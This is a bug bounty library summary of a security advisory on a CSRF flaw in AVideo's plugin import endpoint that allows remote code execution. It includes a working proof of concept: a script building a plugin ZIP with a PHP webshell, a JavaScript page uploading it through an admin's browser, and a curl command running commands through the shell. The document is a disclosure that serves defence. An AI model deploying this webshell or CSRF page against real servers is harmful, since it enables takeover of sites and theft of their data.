# AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload

AVideo's pluginImport.json.php lacks CSRF protection and sets SameSite=None cookies, letting an attacker upload a malicious plugin ZIP via an admin's browser and gain RCE.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33507
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hv36-p4w4-6vmj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-hv36-p4w4-6vmj
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:csrf vuln:file-upload vuln:rce

**Target:** objects/pluginImport.json.php plugin upload endpoint
**Root cause:** Session cookies are set SameSite=None on HTTPS, and the plugin import endpoint only checks User::isAdmin() with no CSRF token, Origin/Referer validation, or custom-header requirement. ZIP validation only inspects the main plugin file, so secondary .php files are extracted unchecked.
**Steps:**
1. Build a ZIP with EvilPlugin/EvilPlugin.php extending PluginAbstract (passes validation) and EvilPlugin/cmd.php containing `<?php if(isset($_GET['c'])) system($_GET['c']); ?>`.
2. Host an attacker page that fetches the ZIP, wraps it in FormData as `input-b1`, and POSTs to `https://TARGET/objects/pluginImport.json.php` with `mode: 'no-cors'`, `credentials: 'include'`.
3. Lure a logged-in admin over HTTPS to the page; the SameSite=None PHPSESSID cookie is sent and the plugin is extracted to `plugin/EvilPlugin/`.
4. Request `https://TARGET/plugin/EvilPlugin/cmd.php?c=id` to execute commands as www-data.
**How found:** Code review of include_config.php spotted SameSite=None on session cookies, then comparison of pluginImport.json.php against videoAddNew.json.php (which calls allowOrigin()) revealed the missing CSRF controls; ZIP validation logic was read to confirm only the main plugin file is content-checked.
**Exploitation:** Unauthenticated attacker hosts a page that auto-submits a multipart/form-data POST (CORS-safelisted, no preflight) to the plugin import endpoint with credentials included. When an admin visits, the malicious ZIP is installed and the embedded webshell is extracted to the web-accessible plugin directory, giving command execution as the web user.
**Escalation:** Webshell as www-data enables data exfiltration, DB access, lateral movement and further privilege escalation.
**Insight:** When a plugin/extension uploader intentionally allows .php, check whether validation only inspects the manifest file — extra PHP files in the archive are the payload. Also grep for SameSite=None to find CSRF-exposed state-changing endpoints lacking tokens.

## Proof of concept (copied exactly from the original report)

**Malicious plugin ZIP with webshell build script**

```
mkdir -p EvilPlugin
# Main file — passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
    public function getTags() { return array(); }
    public function getDescription() { return "test"; }
    public function getName() { return "EvilPlugin"; }
    public function getUUID() { return "evil-0000-0000-0000"; }
    public function getPluginVersion() { return "1.0"; }
    public function getEmptyDataObject() { return new stdClass(); }
}
PLUG

# Secondary file — webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL

zip -r evil-plugin.zip EvilPlugin/
```

**CSRF exploit page uploading plugin via no-cors fetch**

```
async function exploit() {
    const zipResp = await fetch('evil-plugin.zip');
    const zipBlob = await zipResp.blob();

    const formData = new FormData();
    formData.append('input-b1', zipBlob, 'evil-plugin.zip');

    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
        method: 'POST',
        body: formData,
        mode: 'no-cors',
        credentials: 'include'
    });
}
exploit();
```

**Webshell access command proving RCE**

```
curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

